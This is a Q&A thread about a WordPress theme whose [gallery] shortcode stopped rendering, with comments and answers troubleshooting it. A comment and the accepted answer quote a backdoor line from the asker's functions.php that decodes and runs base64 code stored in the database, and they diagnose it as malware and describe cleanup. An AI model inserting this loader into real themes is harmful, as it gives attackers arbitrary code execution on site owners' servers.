10

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.

Here is the loop for page:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).

And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

Ernest Sawyer
  • 360
  • 2
  • 13
  • Is it possible removing the content filter is stopping the shortcode from working? Line 45 in functions.php – Scott Anderson Jul 14 '15 at 02:22
  • Also if you add after "the_content" does it work? – Scott Anderson Jul 14 '15 at 02:24
  • @ScottAnderson 1.) content filter -> no change 2.) do_shortcode is not working, no gallery output in page. Other shortcodes like contact form etc are working ok, so I do not think it's a problem of shortcodes generally – Ernest Sawyer Jul 14 '15 at 14:11
  • @ScottAnderson and when I turn WP to default theme, it works (galleries). So the problem is surelly somewhere in the theme. – Ernest Sawyer Jul 14 '15 at 14:28
  • 1
    -1 for: 1. posting your code off-site, 2. linking to an external site that does not show the problem, 3. leaving code that could potentially do absolutely anything, and giving no clue as to what it actually does: the last line of your `functions.php`: `add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt"))))));` - noone can possibly guess what is wrong if you don't let us see what is being done. [How to create a Minimal, Complete, and Verifiable example](http://stackoverflow.com/help/mcve) – Mikk3lRo Jul 16 '15 at 17:11
  • Did you try with: ``? Don't guarantee that it will work, since it looks like it's your theme issue. Try deleting parts of the code in functions.php, and see if it shows up. – dingo_d Jul 20 '15 at 06:40
  • Also try removing the post format `gallery` that you added and see if this fixes it. Maybe there is some kind of clash with this. – dingo_d Jul 20 '15 at 06:44
  • which gallery plugin is used in your site ? – Ujjwal Jul 20 '15 at 08:21
  • Plugins do fight with eachother. That might be the problem... – Jeroen Bellemans Jul 20 '15 at 13:46

3 Answers3

2

You're site got hacked.

The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).

mrgrain
  • 326
  • 2
  • 5
  • Sir, you are a true master! It works like a charm! Big thanks! – Ernest Sawyer Aug 04 '15 at 06:21
  • A fix for the WP vulnerability most likely used to get the malicious code in was [released today](https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-maintenance-release/). – mrgrain Aug 04 '15 at 21:19
1

try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,

https://wordpress.org/plugins/nextgen-gallery/
-1

do you see any javascript errors in console ? and what is output of

<?php echo do_shortcode('[gallery]');?>
atinder
  • 2,080
  • 13
  • 15